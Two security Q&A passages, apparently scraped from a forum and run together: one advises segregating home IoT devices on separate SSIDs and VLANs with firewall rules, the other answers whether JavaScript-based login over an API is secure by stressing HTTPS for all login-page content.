If you have a class of devices that are truly cloud-based (i.e. they don't use any local traffic, it all must go out to the internet and back) creating a SSID and VLAN that segregates traffic is a simple measure to make sure that any hostile activity it might be repurposed for is sheltered from high value targets like your backup server. Putting devices that need some sort of always-on connection in their own class keeps them sidelined if there is some sort of remote compromise of their command and control structure (the cloud.)

If you still need local access to some of those devices, say to give your phone just the ability to access port 80 on your TV or your light bulb (if that's how the smart remote works) a stateful firewall rule can enforce that only your phone, to only that port on the TV, will be allowed.  If your TV needs no internet access and only protected local access, this would fall into another category which would need its own SSID, and if you really want it to be able to talk to the internet but no other devices, and be all by itself, it would need its very own SSID and VLAN, which many can be created if needed.

One measure that could also go a long way if your network is subject to transient devices (i.e. relatives tablets or laptops dropping by from time to time) is putting just those on a different VLAN, since for example your smart light bulb, unless you purposefully open a port from the internet at large, is of no harm even without a password since you (hopefully) trust all the other devices on your network to not be under malicious control.

Several inexpensive Wifi/Router devices that can be loaded with OpenWRT or DDWRT can be configured this way. The challenge isn't how to pull all this off, it's how to keep it all working smoothly and not throwing up your hands admitting that it's easier to just live under the spectre of network Armageddon in order to not have to unblock a port every time your phone TV app updates, and it says your TV firmware is now out of date.  If you're like most people, you just harden what you can: automatic or alerted updates on all devices that support it, smart firewall rules with anything like uPNP disabled, and then carry on with your life.


Potential attack vectors using Javascript to log in I would like to allow users of a website to be able to log in at any page.

In order to provide a seamless experience my first thought was to collect user credentials (username and password) in a dynamic form and then authenticate the user through an API call (https) performed using Javascript.

However I am not confident in the security of this approach.

Is this a secure scenario? What are the potential vector attacks? Which are the best alternatives?

[edit to provide further details]

From @Xander's answer I get that calling an API from javascript is not insecure per se.
Yet I would like to know how to set a login cookie securely after a successful call to the API

Thanks

So, the basic scenario you propose is to send credentials from a browser, to your web server.  So, we're dealing with HTML and Javascript and associated assets in the browser, and the communication is over HTTP/HTTPS.  These are the only components relevant to the specific function in question.

And in fact, the fact that you're using JavaScript to send the credentials to an API endpoint vs using an HTML form to post them back to a page is in itself materially irrelevent.

The only two points we're particularly worried about here are:

Is the content (HTML, JavaScript, assets) that is delivered to the browser genuine?  In other words, will the user get the HTML and JavaScript that we intended to send, that will in fact then send the credentials to our web server, and not to an attackers web server?
Are the credentials the user sends to our API secret and secure?

The way to answer "Yes" to both of these questions is HTTPS.  This means that not only must you use HTTPS to send the credentials to the API, but you must also use it to deliver the login page, the JavaScript for the login page, and any other assets on the login page to the user, so it can't be modified by an active attacker.

So, for this function of very limited scope, if you use HTTPS and HTTPS alone to secure the transmission of all data in both directions, it will be secure.